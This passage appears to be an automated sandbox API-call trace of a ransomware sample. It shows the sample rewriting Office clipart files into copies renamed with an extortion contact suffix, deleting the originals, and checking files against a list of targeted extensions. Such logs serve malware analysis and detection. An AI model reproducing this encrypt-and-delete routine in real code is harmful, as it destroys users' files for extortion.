Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00814_.WMF") returned 68 [0159.856] lstrlenW (lpString=".jpg") returned 4 [0159.857] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0159.857] lstrcmpiW (lpString1=".WMF", lpString2=".HCK") returned 1 [0159.857] lstrlenW (lpString="FD01084_.WMF") returned 12 [0159.857] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01084_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd01084_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x364 [0159.857] GetFileSizeEx (in: hFile=0x364, lpFileSize=0x324ff14 | out: lpFileSize=0x324ff14*=2412) returned 1 [0159.857] CloseHandle (hObject=0x364) returned 1 [0159.857] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01084_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd01084_.wmf")) returned 0x220 [0159.857] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01084_.WMF.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd01084_.wmf.id-b4197730.[cavefat@tuta.io].hck")) returned 0xffffffff [0159.857] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01084_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd01084_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x364 [0159.857] SetFilePointerEx (in: hFile=0x364, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x324fec0 | out: lpNewFilePointer=0x0) returned 1 [0159.857] SetFilePointerEx (in: hFile=0x364, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x324fec0 | out: lpNewFilePointer=0x0) returned 1 [0159.857] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01084_.WMF.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd01084_.wmf.id-b4197730.[cavefat@tuta.io].hck"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x38c [0159.858] GetLastError () returned 0x0 [0159.858] ReadFile (in: hFile=0x364, lpBuffer=0x3c3c020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x324fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c3c020*, lpNumberOfBytesRead=0x324fecc*=0x96c, lpOverlapped=0x0) returned 1 [0159.868] WriteFile (in: hFile=0x38c, lpBuffer=0x3c3c020*, nNumberOfBytesToWrite=0x970, lpNumberOfBytesWritten=0x324fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c3c020*, lpNumberOfBytesWritten=0x324fc94*=0x970, lpOverlapped=0x0) returned 1 [0159.869] ReadFile (in: hFile=0x364, lpBuffer=0x3c3c020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x324fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c3c020*, lpNumberOfBytesRead=0x324fecc*=0x0, lpOverlapped=0x0) returned 1 [0159.869] WriteFile (in: hFile=0x38c, lpBuffer=0x3c3c020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x324fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c3c020*, lpNumberOfBytesWritten=0x324fc94*=0xec, lpOverlapped=0x0) returned 1 [0159.869] SetEndOfFile (hFile=0x38c) returned 1 [0159.869] CloseHandle (hObject=0x38c) returned 1 [0159.870] SetFilePointerEx (in: hFile=0x364, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x324fec0 | out: lpNewFilePointer=0x0) returned 1 [0159.870] SetEndOfFile (hFile=0x364) returned 1 [0159.870] CloseHandle (hObject=0x364) returned 1 [0159.871] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01084_.WMF.id-B4197730.[cavefat@tuta.io].HCK", dwFileAttributes=0x220) returned 1 [0159.871] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01084_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd01084_.wmf")) returned 1 [0159.871] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01084_.WMF") returned 68 [0159.871] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01084_.WMF") returned 68 [0159.871] lstrlenW (lpString=".doc") returned 4 [0159.871] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0159.871] lstrlenW (lpString=".docx") returned 5 [0159.871] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0159.871] lstrlenW (lpString=".pdf") returned 4 [0159.871] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0159.871] lstrlenW (lpString=".xls") returned 4 [0159.871] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0159.871] lstrlenW (lpString=".xlsx") returned 5 [0159.871] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0159.871] lstrlenW (lpString=".ppt") returned 4 [0159.871] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0159.871] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01084_.WMF") returned 68 [0159.871] lstrlenW (lpString=".zip") returned 4 [0159.871] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0159.871] lstrlenW (lpString=".rar") returned 4 [0159.872] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0159.872] lstrlenW (lpString=".bz2") returned 4 [0159.872] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0159.872] lstrlenW (lpString=".7z") returned 3 [0159.872] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0159.872] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01084_.WMF") returned 68 [0159.872] lstrlenW (lpString=".dbf") returned 4 [0159.872] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0159.872] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01084_.WMF") returned 68 [0159.872] lstrlenW (lpString=".1cd") returned 4 [0159.872] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0159.872] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01084_.WMF") returned 68 [0159.872] lstrlenW (lpString=".jpg") returned 4 [0159.872] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0159.872] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01084_.WMF") returned 68 [0159.872] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01084_.WMF") returned 68 [0159.872] lstrlenW (lpString=".doc") returned 4 [0159.872] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0159.872] lstrlenW (lpString=".docx") returned 5 [0159.872] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0159.872] lstrlenW (lpString=".pdf") returned 4 [0159.872] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0159.872] lstrlenW (lpString=".xls") returned 4 [0159.872] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0159.872] lstrlenW (lpString=".xlsx") returned 5 [0159.872] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0159.872] lstrlenW (lpString=".ppt") returned 4 [0159.872] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0159.872] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01084_.WMF") returned 68 [0159.872] lstrlenW (lpString=".zip") returned 4 [0159.872] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0159.872] lstrlenW (lpString=".rar") returned 4 [0159.872] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0159.872] lstrlenW (lpString=".bz2") returned 4 [0159.872] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0159.872] lstrlenW (lpString=".7z") returned 3 [0159.872] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0159.872] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01084_.WMF") returned 68 [0159.872] lstrlenW (lpString=".dbf") returned 4 [0159.872] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0159.872] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01084_.WMF") returned 68 [0159.872] lstrlenW (lpString=".1cd") returned 4 [0159.872] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0159.872] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01084_.WMF") returned 68 [0159.872] lstrlenW (lpString=".jpg") returned 4 [0159.872] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0159.873] lstrcmpiW (lpString1=".WMF", lpString2=".HCK") returned 1 [0159.873] lstrlenW (lpString="FD01191_.WMF") returned 12 [0159.873] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01191_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd01191_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x364 [0159.873] GetFileSizeEx (in: hFile=0x364, lpFileSize=0x324ff14 | out: lpFileSize=0x324ff14*=3964) returned 1 [0159.873] CloseHandle (hObject=0x364) returned 1 [0159.873] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01191_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd01191_.wmf")) returned 0x220 [0159.873] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01191_.WMF.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd01191_.wmf.id-b4197730.[cavefat@tuta.io].hck")) returned 0xffffffff [0159.873] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01191_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd01191_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x364 [0159.873] SetFilePointerEx (in: hFile=0x364, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x324fec0 | out: lpNewFilePointer=0x0) returned 1 [0159.873] SetFilePointerEx (in: hFile=0x364, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x324fec0 | out: lpNewFilePointer=0x0) returned 1 [0159.873] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01191_.WMF.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd01191_.wmf.id-b4197730.[cavefat@tuta.io].hck"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x38c [0159.874] GetLastError () returned 0x0 [0159.874] ReadFile (in: hFile=0x364, lpBuffer=0x3c3c020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x324fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c3c020*, lpNumberOfBytesRead=0x324fecc*=0xf7c, lpOverlapped=0x0) returned 1 [0159.880] WriteFile (in: hFile=0x38c, lpBuffer=0x3c3c020*, nNumberOfBytesToWrite=0xf80, lpNumberOfBytesWritten=0x324fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c3c020*, lpNumberOfBytesWritten=0x324fc94*=0xf80, lpOverlapped=0x0) returned 1 [0159.880] ReadFile (in: hFile=0x364, lpBuffer=0x3c3c020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x324fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c3c020*, lpNumberOfBytesRead=0x324fecc*=0x0, lpOverlapped=0x0) returned 1 [0159.881] WriteFile (in: hFile=0x38c, lpBuffer=0x3c3c020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x324fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c3c020*, lpNumberOfBytesWritten=0x324fc94*=0xec, lpOverlapped=0x0) returned 1 [0159.881] SetEndOfFile (hFile=0x38c) returned 1 [0159.881] CloseHandle (hObject=0x38c) returned 1 [0159.881] SetFilePointerEx (in: hFile=0x364, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x324fec0 | out: lpNewFilePointer=0x0) returned 1 [0159.882] SetEndOfFile (hFile=0x364) returned 1 [0159.882] CloseHandle (hObject=0x364) returned 1 [0159.882] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01191_.WMF.id-B4197730.[cavefat@tuta.io].HCK", dwFileAttributes=0x220) returned 1 [0159.882] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01191_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd01191_.wmf")) returned 1 [0159.883] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01191_.WMF") returned 68 [0159.883] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01191_.WMF") returned 68 [0159.883] lstrlenW (lpString=".doc") returned 4 [0159.883] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0159.883] lstrlenW (lpString=".docx") returned 5 [0159.883] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0159.883] lstrlenW (lpString=".pdf") returned 4 [0159.883] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0159.883] lstrlenW (lpString=".xls") returned 4 [0159.883] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0159.883] lstrlenW (lpString=".xlsx") returned 5 [0159.883] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0159.883] lstrlenW (lpString=".ppt") returned 4 [0159.883] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0159.883] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01191_.WMF") returned 68 [0159.883] lstrlenW (lpString=".zip") returned 4 [0159.883] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0159.883] lstrlenW (lpString=".rar") returned 4 [0159.883] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0159.883] lstrlenW (lpString=".bz2") returned 4 [0159.883] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0159.883] lstrlenW (lpString=".7z") returned 3 [0159.883] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0159.883] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01191_.WMF") returned 68 [0159.883] lstrlenW (lpString=".dbf") returned 4 [0159.883] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0159.883] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01191_.WMF") returned 68 [0159.883] lstrlenW (lpString=".1cd") returned 4 [0159.884] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0159.884] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01191_.WMF") returned 68 [0159.884] lstrlenW (lpString=".jpg") returned 4 [0159.884] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0159.884] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01191_.WMF") returned 68 [0159.884] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01191_.WMF") returned 68 [0159.884] lstrlenW (lpString=".doc") returned 4 [0159.884] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0159.884] lstrlenW (lpString=".docx") returned 5 [0159.884] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0159.884] lstrlenW (lpString=".pdf") returned 4 [0159.884] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0159.884] lstrlenW (lpString=".xls") returned 4 [0159.884] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0159.884] lstrlenW (lpString=".xlsx") returned 5 [0159.884] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0159.884] lstrlenW (lpString=".ppt") returned 4 [0159.884] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0159.884] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01191_.WMF") returned 68 [0159.884] lstrlenW (lpString=".zip") returned 4 [0159.884] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0159.884] lstrlenW (lpString=".rar") returned 4 [0159.884] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0159.884] lstrlenW (lpString=".bz2") returned 4 [0159.884] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0159.884] lstrlenW (lpString=".7z") returned 3 [0159.884] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0159.884] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01191_.WMF") returned 68 [0159.884] lstrlenW (lpString=".dbf") returned 4 [0159.884] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0159.884] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01191_.WMF") returned 68 [0159.884] lstrlenW (lpString=".1cd") returned 4 [0159.884] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0159.884] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01191_.WMF") returned 68 [0159.884] lstrlenW (lpString=".jpg") returned 4 [0159.884] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0159.884] lstrcmpiW (lpString1=".WMF", lpString2=".HCK") returned 1 [0159.884] lstrlenW (lpString="FD01196_.WMF") returned 12 [0159.884] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01196_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd01196_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x38c [0159.886] GetFileSizeEx (in: hFile=0x38c, lpFileSize=0x324ff14 | out: lpFileSize=0x324ff14*=2332) returned 1 [0159.886] CloseHandle (hObject=0x38c) returned 1 [0159.886] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01196_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd01196_.wmf")) returned 0x220 [0159.886] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01196_.WMF.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd01196_.wmf.id-b4197730.[cavefat@tuta.io].hck")) returned 0xffffffff [0159.887] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01196_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd01196_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f0 [0159.887] SetFilePointerEx (in: hFile=0x2f0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x324fec0 | out: lpNewFilePointer=0x0) returned 1 [0159.887] SetFilePointerEx (in: hFile=0x2f0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x324fec0 | out: lpNewFilePointer=0x0) returned 1 [0159.887] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01196_.WMF.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd01196_.wmf.id-b4197730.[cavefat@tuta.io].hck"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3a8 [0159.887] GetLastError () returned 0x0 [0159.887] ReadFile (in: hFile=0x2f0, lpBuffer=0x3c3c020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x324fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c3c020*, lpNumberOfBytesRead=0x324fecc*=0x91c, lpOverlapped=0x0) returned 1 [0159.894] WriteFile (in: hFile=0x3a8, lpBuffer=0x3c3c020*, nNumberOfBytesToWrite=0x920, lpNumberOfBytesWritten=0x324fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c3c020*, lpNumberOfBytesWritten=0x324fc94*=0x920, lpOverlapped=0x0) returned 1 [0159.894] ReadFile (in: hFile=0x2f0, lpBuffer=0x3c3c020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x324fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c3c020*, lpNumberOfBytesRead=0x324fecc*=0x0, lpOverlapped=0x0) returned 1 [0159.894] WriteFile (in: hFile=0x3a8, lpBuffer=0x3c3c020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x324fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c3c020*, lpNumberOfBytesWritten=0x324fc94*=0xec, lpOverlapped=0x0) returned 1 [0159.895] SetEndOfFile (hFile=0x3a8) returned 1 [0159.895] CloseHandle (hObject=0x3a8) returned 1 [0159.895] SetFilePointerEx (in: hFile=0x2f0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x324fec0 | out: lpNewFilePointer=0x0) returned 1 [0159.895] SetEndOfFile (hFile=0x2f0) returned 1 [0159.896] CloseHandle (hObject=0x2f0) returned 1 [0159.896] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01196_.WMF.id-B4197730.[cavefat@tuta.io].HCK", dwFileAttributes=0x220) returned 1 [0159.896] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01196_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd01196_.wmf")) returned 1 [0159.897] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01196_.WMF") returned 68 [0159.897] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01196_.WMF") returned 68 [0159.897] lstrlenW (lpString=".doc") returned 4 [0159.897] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0159.897] lstrlenW (lpString=".docx") returned 5 [0159.897] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0159.897] lstrlenW (lpString=".pdf") returned 4 [0159.897] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0159.897] lstrlenW (lpString=".xls") returned 4 [0159.897] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0159.897] lstrlenW (lpString=".xlsx") returned 5 [0159.897] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0159.897] lstrlenW (lpString=".ppt") returned 4 [0159.897] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0159.897] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01196_.WMF") returned 68 [0159.897] lstrlenW (lpString=".zip") returned 4 [0159.897] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0159.897] lstrlenW (lpString=".rar") returned 4 [0159.897] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0159.897] lstrlenW (lpString=".bz2") returned 4 [0159.897] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0159.897] lstrlenW (lpString=".7z") returned 3 [0159.897] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0159.897] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01196_.WMF") returned 68 [0159.897] lstrlenW (lpString=".dbf") returned 4 [0159.897] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0159.897] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01196_.WMF") returned 68 [0159.897] lstrlenW (lpString=".1cd") returned 4 [0159.897] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0159.897] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01196_.WMF") returned 68 [0159.897] lstrlenW (lpString=".jpg") returned 4 [0159.897] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0159.897] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01196_.WMF") returned 68 [0159.897] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01196_.WMF") returned 68 [0159.897] lstrlenW (lpString=".doc") returned 4 [0159.897] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0159.897] lstrlenW (lpString=".docx") returned 5 [0159.897] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0159.897] lstrlenW (lpString=".pdf") returned 4 [0159.898] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0159.898] lstrlenW (lpString=".xls") returned 4 [0159.898] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0159.898] lstrlenW (lpString=".xlsx") returned 5 [0159.898] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0159.898] lstrlenW (lpString=".ppt") returned 4 [0159.898] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0159.898] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01196_.WMF") returned 68 [0159.898] lstrlenW (lpString=".zip") returned 4 [0159.898] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0159.898] lstrlenW (lpString=".rar") returned 4 [0159.898] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0159.898] lstrlenW (lpString=".bz2") returned 4 [0159.898] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0159.898] lstrlenW (lpString=".7z") returned 3 [0159.898] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0159.898] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01196_.WMF") returned 68 [0159.898] lstrlenW (lpString=".dbf") returned 4 [0159.898] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0159.898] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01196_.WMF") returned 68 [0159.898] lstrlenW (lpString=".1cd") returned 4 [0159.898] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0159.898] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01196_.WMF") returned 68 [0159.898] lstrlenW (lpString=".jpg") returned 4 [0159.898] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0159.898] lstrcmpiW (lpString1=".WMF", lpString2=".HCK") returned 1 [0159.898] lstrlenW (lpString="FD01548_.WMF") returned 12 [0159.898] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01548_.WMF" (normalized: 